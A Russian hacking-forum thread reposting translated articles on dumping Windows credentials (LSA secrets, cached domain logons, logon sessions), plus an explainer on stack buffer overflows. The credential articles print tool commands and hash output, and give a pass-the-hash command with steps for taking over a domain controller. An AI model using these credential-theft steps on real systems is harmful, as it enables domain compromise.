• XSS.stack #1 – первый литературный журнал от юзеров форума

Интересные отчёты

Пожалуйста, обратите внимание, что пользователь заблокирован
ЭФФЕКТИВНОЕ ПОЛУЧЕНИЕ ХЕША ПАРОЛЕЙ В WINDOWS. ЧАСТЬ 3
8d48316a6256291c5f7dbced3abc2332.png

В предыдущих двух статьях из серии, я рассказывал, как получить хеши паролей локальных пользователей (из SAM) и доменных пользователей (из файла NTDS.DIT на контроллере домена).

Автор: Bernardo Damele A. G
История паролей
В предыдущих двух статьях (1, 2) из серии, я рассказывал, как получить хеши паролей локальных пользователей (из SAM) и доменных пользователей (из файла NTDS.DIT на контроллере домена).
Если в настройках парольной политики включен параметр “Требовать неповторяемость паролей” (“Enforce password history”), то Windows сохраняет определенное количество старых паролей, прежде чем разрешить пользователю использовать старые пароли вновь. На следующем скриншоте показано, как именно включить ведение истории паролей:
h-1.png

Local Security Policy (secpol.msc) / Account Policies / Password Policy / Enforce password history
По умолчанию на обычных рабочих станциях параметр “Требовать неповторяемость паролей” установлен в 0, а на контроллерах домена – в 24. Благодаря таким установкам, существует вероятность, что при извлечении хешей из ntds.dit, вы также получите хеши старых паролей. В дальнейшем знание старых хешированных паролей может помочь вам найти закономерности в выборе паролей целевыми пользователями.
Кроме того, знание истории паролей может облегчить вам жизнь на дальнейших этапах проведения атаки. Поэтому никогда не пренебрегайте информацией, полученной из парольной истории.
Наряду с уже известными утилитами (Cain & Abel, PWDumpX) парольную историю можно слить с помощью утилиты pwhist от Toolcrypt.
LSA секреты
LSA секреты – это специальная область реестра, в которой Windows хранит важную информацию. В секреты входят:

  • пароли учетных записей служб, требующих запуска в контексте пользователей операционной системы (например, учетные записи Local System, Network Service и Local Service).
  • пароли входа в систему при включенном автоматическом входе (auto-logon); в общем случае: пароль пользователя, вошедшего на консоль (запись DefaultPassword).

LSA секреты хранятся в ветке реестра HKEY_LOCAL_MACHINE/Security/Policy/Secrets. Каждый секрет имеет свой собственный ключ. Родительский ключ HKEY_LOCAL_MACHINE/Security/Policy содержит информацию, необходимую для доступа и расшифровки секретов.
Cекреты LSA, как и хеши SAM, можно получить либо из файлов реестра, либо из памяти процесса lsass.exe.
Если вы владеете правами Администратора, а целевая система задействована на производстве, то я советую выбрать безопасный путь: скопировать системные файлы SYSTEM и SECURITY из реестра с помощью reg.exe/regedit.exe или посредством службы теневого копирования томов, как описано в первой статье. Извлечь секреты LSA из полученных файлов SYSTEM и SECURITY можно утилитой Cain & Abel.
Также существует множество утилит, которые сольют секреты LSA, внедрившись в процесс lsass.exe. Из всех таких утилит gsecdump считается самым надежным, поскольку работает на всех версиях и архитектурах Windows. Для 32-битных систем рекомендую также lsadump2. Несмотря на мои ожидания, двум утилитам от NirSoft (LSASecretsDump и LSASecretsView) ни на одной архитектуре не удалось получить пароли учетных записей служб. В независимости от того, какой именно метод вы использовали, все извлеченные пароли будут в кодировке UTF-16. То есть пароли, в отличие от хешей SAM, будут незашифрованы. Подробное описание формата секретов LSA, сделанное Бренданом Доланом-Гавитом (Brandon Dolan-Gavitt) вы можете найти здесь.
На следующем скриншоте показаны результаты работы gsecdump на Windows Server 2003 с запущенными в контексте пользователя СУБД IBM DB2 и PostgreSQL:
h-2.png

Результаты работы gsecdump.exe –l

К каким угрозам ведет раскрытие секретов LSA
Теперь представьте, что вы скомпрометировали сервер в домене Windows и получили доступ к командной строке с правами Local System.Если вы хотите расширить свой контроль на весь периметр сети, то проверьте, выполняется ли какой-либо сервис в контексте пользователя операционной системы, и если да, то извлеките пароль соответствующей учетной записи из секретов LSA.
Узнать, от какого пользователя запущен сервис можно, выполнив services.mscв Start/Runи отсортировав записи по полю “Вход от имени” (Log On As):
h-3.png

Сервисы, выполняемые в контексте локальных пользователей Windows
Получить информацию о сервисах можно также с помощью sc.exe и других, менее известных утилит. Обычно в контексте пользователей системы работает такое корпоративное программное обеспечение, как Veritas Netbackup, Microsoft SQL Server, Microsoft Exchange. Угрозу представляют случаи, когда системные администраторы запускают сервисы в контексте доменных пользователей или даже доменных администраторов. Подобные действия, конечно же, неправильны, и более того, ставят под угрозу безопасность всего домена, потому что нарушитель может слить секреты LSA, получить пароль администратора в незашифрованном виде, зайти на корневой контроллер домена, и, как следствие, получить контроль над всем доменом.
Описанные в этой статье утилиты я тоже добавил в таблицу. Буду рад вашим отзывам и предложениям!
ИСТОЧНИК: https://www.securitylab.ru/analytics/425268.php
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ЭФФЕКТИВНОЕ ПОЛУЧЕНИЕ ХЕША ПАРОЛЕЙ В WINDOWS. ЧАСТЬ 4
bbc78101488e0218b5f67a23ab164f8b.png

Система Windows может работать как автономно, так и в составе домена в роли сервера или рабочей станции.

Автор: Bernardo Damele A. G
Кэшированный вход в домен
Система Windows может работать как автономно, так и в составе домена в роли сервера или рабочей станции. Когда пользователь заходит на рабочую станцию, являющуюся частью домена, он может войти либо под локальным пользователем, либо под пользователем домена.
При входе в домен пользователю необходимо знать следующую информацию: имя пользователя, пароль и доменное имя. Доменное имя, как правило, можно выбрать из выпадающего списка, который содержит название всех доменов, в которые входит система.
После ввода пользователем всей необходимой информации, система хеширует предоставленный пароль и по сети сверяет полученный хеш с хешем, хранящимся на контроллере домена в файлеntds.dit. Процедурой аутентификации руководит процесс lsass.exe.
В первую очередь LSASSпроверяет, доступен ли контроллер домена. Если контроллер доступен, то процесс сверяет хеши паролей и, в зависимости от результата, разрешает или запрещает пользователю вход в систему.
Если же ни один контроллер домена недоступен, то легитимному пользователю домена не удастся войти в систему. Чтобы избежать подобных ситуаций, Microsoft задействовала в Windows механизм кэшированного входа в домен.
Microsoft дает такой комментарий о механизме:
В локальный кэш заносятся сведения обо всех предыдущих входах пользователей в систему, что позволяет им при последующих попытках войти в систему в случае отсутствия доступа к контроллеру домена […]
Следовательно, даже если контроллер домена недоступен, доменный пользователь все равно сможет зайти в систему. Требуется только, чтобы выполнилось два уcловия: пользователь удачно входил в систему ранее, и на системе включена политика кэширования входа в домен. На следующем скриншоте показано, где именно конфигурируется политика кэширования:
H4-1.png

Локальные параметры безопасности (secpol.msc) / Локальные политики / Параметры безопасности / Интерактивный вход в систему: количество предыдущих подключений к кэшу (в случае отсутствия доступа к контроллеру домена)
(Local Security Policy (secpol.msc) / Local Policies / Security Options / Interactive logon: Number of previous logons to cashe (in case domain controller is unavailable))

Значение параметра политики вы также можете прочесть из ключа реестраHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CashedLogonCount.По умолчанию на системах Windows XP и выше в кэш заносятся сведения о 10 предыдущих входах. Информация о кэшированных входах хранится в кустах реестра HKEY_LOCAL_MACHINE/Security/CACHE/NL$X, где X – число. Получить доступ к кустам можно либо под пользователем Local System, либо с помощью специальных утилит.
Получение информации о кэшированном входе в домен
Хешированные пароли предыдущих входов в систему можно получить либо из файлов реестра, либо из памяти процесса lsass.exe.
Чтобы получить хеши в оффлайн-режиме скопируйте системные файлы SYSTEMи SECURITY из реестра с помощью reg.exe/regedit.exeили посредством службы теневого копирования томов, как описывалось в первой статье. Извлечь информацию о кэшированных входах в домен из полученных файлов SYSTEMи SECURITYможно утилитами Cain & Abel, creddump от Брендана Долана-Гавита (Brendan Dolan-Gavitt) или Windows Password Recovery от passcape.
Также существует множество утилит, которые сольют информацию о кэшированном входе в домен, внедрившись в процессlsass.exe. На 32-битных архитектурах вы можете воспользоваться fgdump, PWDumpX или cachedump от Арно Пилона (Arnaud Pilon). Последняя утилита стабильно работает и на последних версиях Windows. К сожалению, ни одна из бесплатных утилит не будет работать на 64-разрядных системах. Поэтому в подобных случаях, если на целевой 64-разрядной системе вам удастся запустить Meterpreter, то воспользуйтесь лучше модулем пост-эксплойта из Metasploit Framework.
Ниже показан результат работы cachedump на входящей в домен системе Windows:
C:\>cachedump.exe –v
Service not found. Installing CacheDump Service (C:\cachedump.exe -s)
CacheDump service successfully installed.
Service started.
user:2d9f0b052932ad18b87f315641921cda:lab:lab.internal
Service currently active. Stopping service...
Service successfully removed.
Какие угрозы влечет за собой получение информации из кэшированных входов в домен
Рассмотрим ситуацию, подобную ситуации сполучением секретов LSA: допустим, вы скомпрометировали входящую в домен систему и получили доступ к командной строке с правамиLocal System. Никакой информации об учетных данных доменных пользователей в секретах LSA нет. Что же тогда делать дальше? Проверьте, кэширует ли система информацию о предыдущих входах пользователя в домен, и если да, то слейте кэш.
В отличие от NT- и LM-хешей паролей, информацию из кэша нельзя напрямую использовать для аутентификации на других машинах. Хеши паролей можно взломать и получить пароль в незашифрованном виде, чтобы в дальнейшем аутентифицироваться на нужной машине. Более подробно о взломе хешей я расскажу в другой статье.
Сам по себе механизм кэшированного входа в домен достаточно полезен, поскольку он облегчает работу администраторов сети, когда контроллер домена по какой-либо причине недоступен. Но с точки зрения безопасности, такой механизм, безусловно, несет в себе угрозу безопасности.
Описанные в этой статье утилиты я добавил в таблицу. Буду рад вашим отзывам и предложениям!
ИСТОЧНИК: https://www.securitylab.ru/analytics/425309.php
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ЭФФЕКТИВНОЕ ПОЛУЧЕНИЕ ХЕША ПАРОЛЕЙ В WINDOWS. ЧАСТЬ 5
5e4e49e60589257e2e60ffcb48c82bfb.png

В logon-сессиях Windows сохраняет информацию о любых успешных входах в систему. Информация включает в себя имя пользователя, имя рабочей группы или домена, а также LM/NT-хеши паролей.

Автор: Bernardo Damele A. G

Logon-сессии
В logon-сессиях Windows сохраняет информацию о любых успешных входах в систему. Информация включает в себя имя пользователя, имя рабочей группы или домена, а также LM/NT-хеши паролей.
Вне зависимости от того, как именно легитимный пользователь заходит в систему: интерактивно или удаленно через RDP – в любом случае, локальная подсистема безопасности (Local Security System - LSA) сохраняет учетные данные пользователей в памяти.
Ниже представлена модель входа и аутентификации в Windows NT:
h5-1.png

Модель входа и аутентификации в Windows NT
Аналогичные данные сохраняются и для процессов, “запускаемых от имени…” (Run As) и служб, выполняющихся в контексте определенного пользователя. Пароли служб сохраняются в незашифрованном виде, и могут быть получены из секретов LSA.
Тем не менее, при аутентификации по сети (например, по протоколам SMB или HTTP) logon-сессии сохраняться не будут, поскольку NT/LM-хеши в действительности не передаются на сервер ¬– для аутентификации используется механизм типа “запрос-ответ”.
Система хранит в памяти конфиденциальную информацию пользователей для того, чтобы использовать технологию единого доступа (Single Sign-On (SSO)). Технология SSO широко применяется в сетях Windows, и в особенности внутри доменов. SSO позволяет пользователю единожды аутентифицироваться в системе и получить доступ к разделяемым ресурсам, (принтеры, HTTP-прокси и.т.п.) без необходимости повторного ввода своих учетных данных: Windows воспользуется хранимой в памяти информацией (имя пользователя, домен/рабочая группа, хеши паролей) и прозрачно для пользователя аутентифицирует его.
Механизм SSO функционирует благодаря тому, что сегодня практически все сервисы Windows (исключением является подключение по RDP) наряду с аутентификацией по паролю поддерживают аутентификацию по NT/LM-хешам.
Получение logon-сессий
Logon-сессии можно получить, при условии, что у вас есть доступ к командной строке с административными правами. Существует два метода получения logon-сессий: внедрение кода в процесс lsass.exeи чтение памяти LSASS.
Следующие утилиты помогают слить logon-сессии: msvctl от TrueCrypt идеально подходит для 32-битных Windows XP/2003. Последняя версия gsecdump сольет logon-сессии в независимости от версии и архитектуры Windows. Из недавних разработок TrueSec стоит также отметитьlslsass: утилита была спроектирована специально для систем Windows Vista и выше. Lslsass безупречно работает как на 32-x, так и на 64-x разрядных системах.
Самые известные утилиты для управления logon-сессиями Windows – это Windows Credentials Editor (WCE) и ее предшественница Pass-the-Hash Toolkit (PTK). Обе утилиты представляют собой результат плодотворной работы основателя компании Amplia Security Хернана Очоа (Hernan Ochoa). По своим разработкам он сделал несколько презентаций, среди которых:


Из двух утилит я по ряду причин предпочитаю WCE: во-первых, WCE – это самостоятельный EXE-файл; во-вторых, WCE безопаснее, поскольку не приводит к падению процесса LSASS при чтении памяти; и в-третьих, утилита работает на всех версиях и архитектурах Windows.
Специально для целей статьи я установил Windows Server 2003 Service Pack 2 со всеми обновлениями (NetBIOS-имя w2k3r2), и произвел следующие действия:

  • Локальный пользователь Administratorинтерактивно зашел на консоль. Длина пароля пользователя Administrator– 15 символов.
  • Два локальных пользователя inquisи foobarподключились к системе по RDP. Первый пользователь подключился через mstsc, а второй через rdesktop.
  • Запущено несколько сервисов СУБД IBM DB2 в контексте локального администратора db2admin.

Утилита lslsassбыла намеренно исключена из эксперимента, так как она работает только на системах Windows Vista и выше.
Все тестируемые утилиты удачно слили logon-сессии. Ниже показан результат работы Windows Credential Editor:
C:\>wce.exe –l

WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by
Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.
Administrator:W2K3R2:00000000000000000000000000000000:237599E85CF684A67
85A12ACD2E24E5C
inquis:W2K3R2:0AC9A586623764E16591BB5472A3AD4A:89F411F435A93044E2E8AA4CEDF
E0FBA
foobar:W2K3R2:87DCEB9223BE0E08FD8E74C8CEB3053A:33D807D89B36ACDF2FAB42A361D
E0B91
db2admin:W2K3R2:3AE6CCCE2A2A253F93E28745B8BF4BA6:35CCBA9168B1D5CA6093B4B7D
56C619B

W2K3R2$:WORKGROUP:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D
7E0C089C0
Мы получили имя пользователя, имя домена/рабочей группы и LM/NT-хеши. Результаты тестируемых утилит иутилит для получения хеша из SAM очень похожи, за исключением того, что тестируемые утилиты могут отобразить учетные данные не только локальных, но и доменных пользователей тоже.
Следующий скриншот также подтверждает удачность атаки:
h5-2.png

Получение logon-сессий с помощью Windows Credential Editor (WCE) на Windows Server 2003 R2
(Administrator имеет доступ к консоли, два пользователя подключены удаленно по RDP и один процесс выполняется в контексте локального пользователя)

Во время проведения эксперимента я понял, что независимо от того, как именно завершаются сессии, logon-сессии все равно остаются в памяти. Например, неважно как вы закроете RDP-соединение: нажмёте X в левом верхнем углу RDP-клиента или выйдете из системы через меню “ПУСК” – logon-сессия все равно останется в памяти. Подобные вещи происходят и в Windows Server 2008 R2 Enterprise Service Pack 1. В системах Windows Vista и выше logon-сессии стираются из памяти спустя пару минут после выхода пользователя из системы.
Вышеописанное поведение продемонстрировано на следующем скриншоте:
h5-3.png

Получение logon-сессии после отключения от RDP пользователя foobar: его logon-сессия осталась в памяти
h5-4.png

Получение logon-сессии после принудительного отключения от RDP пользователя foobar: его logon-сессия осталась в памяти
Logon-сессия db2admin также осталась в памяти, несмотря на то, что соответствующий сервис был остановлен.
Какие угрозы влечет за собой получение logon-сессии
Ситуация сейчас такая же, как и при получении секретов LSA и информации из кэшированных входов в домен: вы получили права Local Systemна системе, входящей в один или несколько доменов, и вы хотите взять под контроль весь домен (домены). Никакой информации об учетных данных доменных пользователей из секретов LSA и из кэша вам узнать не удалось.
Тогда попробуйте слить logon-сессии. Если вам удастся получить logon-сессию доменного администратора, то вы победили: осталось только использовать полученную logon-сессию, чтобы выдать себя за администратора и получить доступ к командной строке. Такая атака также известна, как “pass-the-hash”(“передача хеша”) или кража logon-сессии.
В командной строке наберите следующее:
C:\>wce.exe -s:::-c cmd.exe
В новом открывшемся окне командной строки подключитесь по SMB (например, с помощью утилиты PsExec компании Sysinternals) к корневому контроллеру домена. Система, скорее всего, успешно аутентифицирует вас как администратора домена, потому что, по сути, вы предоставили учетные данные именно этого пользователя.
Если же logon-сессии администратора домена на захваченной вами системе нет, то проверьте (с помощью утилиты keimpx), на какие еще системы в домене пользователь может войти. Есть вероятность, что новые захваченные системы содержат необходимую вам информацию об учетных данных администратора домена, и поэтому, повторяя те же самые действия, вам, возможно, удастся захватить контроллер домена.
Помимо WCE есть и другие утилиты, способные провести атаку передачи хеша: например, msvctl и RunhAsh от TrueSec. Все новые утилиты я добавил в таблицу. Буду рад вашим отзывам и предложениям!
ИСТОЧНИК: https://www.securitylab.ru/analytics/425341.php
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как устроены дыры в безопасности: переполнение буфера
Прим. переводчика: Это перевод статьи Питера Брайта (Peter Bright) «How security flaws work: The buffer overflow» о том, как работает переполнение буфера и как развивались уязвимости и методы защиты.​

Беря своё начало с Червя Морриса (Morris Worm) 1988 года, эта проблема поразила всех, и Linux, и Windows.

dcc15c1ae6ab4ee59267a2eec8fc10c7.jpg


Переполнение буфера (buffer overflow) давно известно в области компьютерной безопасности. Даже первый само-распространяющийся Интернет-червь — Червь Морриса 1988 года — использовал переполнение буфера в Unix-демоне finger для распространения между машинами. Двадцать семь лет спустя, переполнение буфера остаётся источником проблем. Разработчики Windows изменили свой подход к безопасности после двух основанных на переполнении буфера эксплойтов в начале двухтысячных. А обнаруженное в мае сего года переполнение буфера в Linux драйвере (потенциально) подставляет под удар миллионы домашних и SMB маршрутизаторов.

По своей сути, переполнение буфера является невероятно простым багом, происходящим из распространённой практики. Компьютерные программы часто работают с блоками данных, читаемых с диска, из сети, или даже с клавиатуры. Для размещения этих данных, программы выделяют блоки памяти конечного размера — буферы. Переполнение буфера происходит, когда происходит запись или чтение объёма данных большего, чем вмещает буфер.

На поверхности, это выглядит как весьма глупая ошибка. В конце концов, программа знает размер буфера, а значит, должно быть несложно удостоверится, что программа никогда не попытается положить в буфер больше, чем известный размер. И вы были бы правы, рассуждая таким образом. Однако переполнения буфера продолжают происходить, а результаты часто представляют собой катастрофу для безопасности.
Чтобы понять, почему происходит переполнение буфера — и почему результаты столь плачевны — нам нужно рассмотреть то, как программы используют память, и как программисты пишут код.

(Примечание автора: мы рассмотрим, в первую очередь, переполнение стекового буфера (stack buffer overflow). Это не единственный вид переполнения, но оно является классическим и наиболее изученным видом)

Стекируем

Переполнение буфера создаёт проблемы только в нативном коде — т.е. в таких программах, которые используют набор инструкций процессора напрямую, без посредников вроде Java или Python. Переполнения связаны с тем как процессор и программы в нативном коде управляют памятью. Различные операционные системы имеют свои особенности, но все современные распространённые платформы следуют общим правилам. Чтобы понять, как работают атаки, и какие бывают способы противодействия, сначала немного рассмотрим использование памяти.

Важнейшей концепцией является адрес в памяти. Каждый отдельный байт памяти имеет соответствующий числовой адрес. Когда процессор читает или записывает данные в основную память (ОЗУ, RAM), он использует адрес памяти того места, откуда происходит считывание или куда производится запись. Системная память используется не только для данных; она также используется для размещения исполняемого кода, из которого состоит программа. Это означает, что каждая из функций запущенной программы также имеет адрес.

Изначально, процессоры и операционные системы использовали адреса физической памяти: каждый адрес памяти напрямую соотносился с адресом конкретного куска RAM. Хотя, некоторые части современных операционных систем всё ещё используют физические адреса, все современные операционные системы используют схему, именуемую виртуальной памятью.

При использовании виртуальной памяти, прямое соответствие между адресом памяти и физическим участком RAM отсутствует. Вместо этого, программы и процессор оперируют в виртуальном пространстве адресов. Операционная система и процессор совместно поддерживают соответствие (mapping) между адресами виртуальной и физической памяти.

Такая виртуализация позволяет использовать несколько важных функций. Первая и важнейшая — это защищённая память. Каждый отдельный процесс получает свой собственный набор адресов. Для 32-битного процесса, адреса начинаются с нуля (первый байт) и идут до 4,294,967,295 (в шестнадцатеричном виде, 0xffff'ffff; 2^32 — 1). Для 64-битного процесса, адреса продолжаются до 18,446,744,073,709,551,615 (0xffff'ffff'ffff'ffff, 2^64 — 1). Таким образом, у каждого процесса есть свой собственный адрес 0, за ним свой адрес 1, свой адрес 2 и так далее.

(Примечание автора: Далее в статье я буду говорить о 32-битный системах, если не указано иное. В данном аспекте разница между 32-битными и 64-битными несущественна; для ясности я буду придерживаться единой битности)

Поскольку каждый процесс получает свой собственный набор адресов, эта схема является простым способом предотвратить повреждение памяти одного процесса другим: все адреса к которым процесс может обращаться принадлежат только ему. Это гораздо проще и для самого процесса; адреса физической памяти, хотя они в широком смысле работают также (это просто номера, начинающиеся с нуля), имеют особенности, которые делают их несколько неудобными в использовании. Например, они обычно не-непрерывные; например, адрес 0x1ff8'0000 используется для памяти режима системного управления процессора — небольшой кусок памяти, недоступный обычным программам. Память PCIe-карт также находится в этом пространстве. С адресами виртуальной памяти таких неудобств нет.

Что же находится в адресном пространстве процесса? Говоря в общем, существуют четыре распространённых объекта, три из которых представляют для нас интерес. Неинтересный для нас блок, в большинстве операционных систем, — «ядро операционной системы». В интересах производительности, адресное пространство обычно разделяют на две половины, нижняя из которых используется программой, а верхняя занимается адресным пространством ядра. Половина, отданная ядру, недоступна из половины занятой программой, однако само ядро может читать память программы. Это является одним из способов передачи данных в функции ядра.

В первую очередь разберёмся с исполняемой частью и библиотеками, составляющими программу. Главный исполняемый файл (main executable) и все его библиотеки загружаются в адресное пространство процесса, и все составляющие их функции, таким образом, имеют адрес в памяти.

Вторая часть используемой программой памяти используется для хранения обрабатываемых данных и обычно называется кучей (heap). Эта область, например, используется для хранения редактируемого документа, или просматриваемой веб-страницы (со всеми её объектами JavaScrit, CSS и т.п.), или карты игры, в которую играют.

Третья и важнейшая часть — стек вызовов, обычно называемый просто стеком. Это самый сложный аспект. Каждый поток в процессе имеет свой стек. Это область памяти, используемая для одновременного отслеживания как текущей функции исполняемой в потоке, так и всех предшествующих функций — тех, что были вызваны, чтобы попасть в текущую функцию. Например, если функция a вызывает функцию b, а функция b вызывает функцию c, то стек будет содержать информацию об a, b и c, в таком порядке.

Стек вызовов является специализированной версией структуры данных, называемой «стеком». Стеки являются структурами переменной длины, предназначенными для хранения объектов. Новые объекты могут быть добавлены (pushed) в конец стека (обычно называемого «вершиной» стека) и объекты могут быть сняты (popped) со стека. Только вершина стека подлежит изменению с использованием push и pop, таким образом, стек устанавливает строгий порядок сортировки: объект, который последним положили в стек, будет тем, который будет снят с него следующим.

Важнейшим объектом, хранимым в стеке вызовов, является адрес возврата (return address). В большинстве случаев, когда программа вызывает функцию, эта функция выполняет то, что должна (включая вызов других функций), а затем возвращает управление в функцию, которая её вызвала. Для возврата к вызывающей функции необходимо сохранить запись о ней: исполнение должно продолжиться с инструкции следующей после инструкции вызова. Адрес этой инструкции называется адресом возврата. Стек используется для хранения этих адресов возврата: при каждом вызове функции, в стек помещается адрес возврата. При каждом возврате, адрес снимается со стека и процессор начинает выполнять инструкцию по этому адресу.

Стековая функциональность является настолько базовой и необходимой, что большинство, если не все процессоры имеют встроенную поддержку этих концепций. Возьмём за пример процессоры x86. Среди регистров (небольших участков памяти в процессоре, доступных инструкциям), определённых в спецификации x86, два наиболее важных — eip (указатель инструкции — instruction pointer), и esp(указатель стека — stack pointer).

ESP всегда содержит адрес вершины стека. Каждый раз когда что-то добавляется в стек, значение esp уменьшается. Каждый раз, когда что-то снимается со стека, значение esp увеличивается. Это означает, что стек растёт «вниз»; по мере добавления объектов в стек, адрес хранимый в esp становится всё меньше и меньше. Несмотря на это, область памяти, на которую указывает esp, называется «вершиной стека.

Здесь мы видим простую развёртку стека с 64-символьным буфером с именем name, за ним указатель вложенного кадра (frame pointer), потом адрес возврата. В регистре esp содержится адрес вершины, в ebp — адрес указателя кадра.​


EIP содержит адрес текущей инструкции. Процессор поддерживает значение eip самостоятельно. Он читает поток инструкций из памяти и изменяет значение eip соответственно, так что он всегда содержит адрес инструкции. В рамках x86 существует инструкция для вызова функций, call, а также инструкция для возврата — ret.

CALL принимает один операнд, адрес вызываемой функции (хотя есть несколько способов передать его). Когда выполняется call, указатель стека esp уменьшается на 4 байта (32 бита), и адрес инструкции следующей за call — адрес возврата — помещается в область памяти, на которую теперь указывает esp. Другими словами, адрес возврата помещается в стек. Затем, значением eip устанавливается равным адресу, переданному в качестве операнда call, и выполнение продолжается с этой точки.

RET производит обратную операцию. Простой ret не принимает операндов. Процессор сначала считывает значение по адресу памяти, хранимому в esp, потом увеличивает esp на 4 байт — снимает адрес возврата со стека. Значение помещается в eip, и выполнение продолжается с этого адреса.

(Примечание переводчика: в этом месте в авторском тексте приводится видео с демонстрацией call и ret.)​


Если бы стек вызовов хранил только набор адресов возврата, проблемы бы не было. Реальная проблема приходит со всем остальным, что кладут в стек. Так выходит, что стек — это быстрое и эффективное место хранения данных. Хранение данных в куче относительно сложно: программа должна отслеживать доступное в куче место, сколько занимает каждый из объектов и прочее. При этом работа со стеком проста: чтобы разместить немного данных, достаточно просто уменьшить значение указателя. А чтобы почистить за собой, достаточно увеличить значение указателя.

Это удобство делает стек логичным местом для размещения переменных, используемых функцией. Функции нужно 256 байт буфера, чтобы принять ввод пользователя? Легко, просто отнимите 256 от указателя стека — и буфер готов. В конце функции, просто прибавьте 256 к указателю, и буфер отброшен.

Однако, у такого подхода существуют ограничения. Стек не подходит для хранения очень больших объектов: общий объём доступной памяти обычно фиксирован при создании потока и, часто, составляет примерно 1МБ в объёме. Поэтому большие объекты должны быть помещены в кучу. Стек также не применим для объектов, которые должны существовать дольше, чем выполняется одна вызванная функция. Поскольку все размещения в стеке удаляются при выходе из функции, время жизни любого из объектов в стеке не превышает времени выполнения соответствующей функции. На объекты в куче это ограничение не распространяется, они могут существовать „вечно“.

Когда мы используем программу корректно, ввод с клавиатуры сохраняется в буфере name, закрываемым нулевым (null, zero) байтом. Указатель кадра и адрес возврата не изменяются.​


Стековое хранилище используется не только для явно определяемых программистом переменных; стек также используется для хранения любых значений, нужных программе. Особенно остро это проявляется в x86. Процессоры на базе x86 не отличаются большим числом регистров (всего существует 8 целочисленных регистров, и некоторые из них, как уже упомянутые eip и esp, уже заняты), поэтому функции редко имеют возможность хранить все необходимые им значения в регистрах. Чтобы освободить место в регистрах, и при этом сохранить значение для последующего использования, компилятор поместит значение регистра в стек. Значение позднее может быть снято с регистра и помещено обратно в регистр. В жаргоне компиляторов, процесс сохранения регистров с возможностью последующего использования называется spilling.

Наконец, стек часто используют для передачи аргументов функциям. Вызывающая функция помещает каждый из аргументов по очереди в стек; вызываемая функция может снять их из стека. Это не единственный способ передачи аргументов — можно использовать и регистры, например, — но это один из наиболее гибких.

Набор объектов хранимых функцией в стеке — её собственные переменные, сохранённые регистры, любые аргументы, подготавливаемые для передачи в другие функции — называются „вложенным кадром“. Поскольку данные во вложенном кадре активно используются, полезно иметь способ простой адресации к нему.

Это возможно реализовать, используя указатель стека, но это несколько неудобно: указатель стека всегда указывает на вершину, и его значение меняется по мере помещения и снятия объектов. Например, переменная может сначала быть расположена на позиции esp+4. После того, как ещё два значения положили в стек, и переменная стала располагаться по адресу esp+12. Если снять со стека одно из значений, переменная окажется на esp+8.

Описанное не является неподъёмной задачей, и компиляторы способны с ней справиться. Однако это делает использование указателя стека для доступа к чему-либо кроме вершины „стрёмным“, особенно при написании на ассемблере вручную.

Для упрощения задачи, обычным делом является ведение второго указателя, который хранит адрес „дна“ (т.е. начала) каждого кадра — значение, известное как указатель вложенного кадра (frame pointer). И на x86 даже есть регистр, который для этого обычно используют, ebp. Поскольку его значение неизменно в пределах функции, появляется способ однозначно адресовать переменные функции: значение, лежащее по адресу ebp-4, будет оставаться доступно по ebp-4 всё время жизни функции. И это полезно не только для людей — дебаггерам проще разобраться, что происходит.

Скриншот из Visual Studio демонстрирует всё это в действии на примере простой программы для x86. На процессорах x86, регистр esp содержит адрес вершины стека, в данном случае 0x0019fee0 (выделено синим). (Примечание автора: на платформе x86, стек растёт вниз, в направлении адреса памяти 0, однако эта точка всё равно сохраняет название „вершина стека“). Показанная функция хранит в стеке только переменную name, выделенную розовым цветом. Это фиксированный буфер длиной 64 байта. Поскольку это единственная переменная, её адрес тоже 0x0019fee0, такой же, как у вершины стека.​
В x86 также есть регистр ebp, выделенный красным, который (обычно) выделен для хранения указателя кадра. Указатель кадра размещается сразу за переменными стека. Сразу за указателем кадра лежит адрес возврата, выделенный зелёным. Адрес возврата ссылается на фрагмент кода по адресу 0x00401048. Эта инструкция следует сразу за вызовом (call), демонстрируя то, как адрес возврата используется для продолжения исполнения там, где программа покинула вызывающую функцию.​


NAME в приведённой иллюстрации относится как раз к тому роду буферов, которые регулярно переполняются. Его размер зафиксирован и составляет 64 байта. В данном случае, он заполнен набором чисел и завершается нулём. Из иллюстрации видно, что если в буфер name будет записано более 64 байт, то другие значения в стеке будут повреждены. Если записать на четыре байта больше, указатель кадра будет уничтожен. Если записать на восемь байт больше, то и указатель кадра, и адрес возврата будут перезаписаны.

Очевидно, что это ведёт к повреждению данных программы, но проблема с переполнением буфера куда серьёзнее: они ведут к выполнению [произвольного] кода. Это происходит потому, что переполненный буфер не просто перезапишет данные. Также могут оказаться перезаписаны более важные вещи, хранимые в стеке — адреса возврата. Адрес возврата контролирует то, какие инструкции процессор будет выполнять, когда закончит с текущей функцией; предполагается, что это будет какой-то адрес внутри вызывающей функции, но если это значение будет переписано переполнением буфера, оно может указывать куда угодно. Если атакующие могут контролировать переполнение буфера, то они могут контролировать и адрес возврата. Если они контролируют адрес возврата, они могут указать процессору, что делать дальше.

У процессора, скорее всего, нет красивой удобной функции „скомпрометировать машину“, которую бы запустил атакующий, но это не слишком важно. Тот же буфер, который используется для изменения адреса возврата, можно использовать для хранения небольшого куска исполнимого кода (shellcode, шеллкод), который, в свою очередь, скачает вредоносный исполнимый файл, или откроет сетевое соединение, или исполнит любые другие пожелания атакующего.

Традиционно, сделать это было тривиально просто, по причине, которая у многих вызывает удивление: обычно, каждая программа будет использовать одни и те же адреса в памяти при каждом запуске, даже если вы перезагружали машину. Это означает, что позиция буфера в стеке всякий раз будет одинакова, а значит и значение, используемое для искажения адреса возврата, каждый раз будет одинаково. Атакующему достаточно лишь выяснить этот адрес однажды, и атака сработает на любомкомпьютере, исполняющем уязвимый код.


Источник: https://habr.com/post/266591/
Оригинал:https://arstechnica.com/information-technology/2015/08/how-security-flaws-work-the-buffer-overflow/
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Инструментарий атакующего

В идеальном мире — с точки зрения атакующего — переписанный адрес возврата может быть просто адресом буфера. И это вполне возможно, когда программа читает данные из файла или из сети.

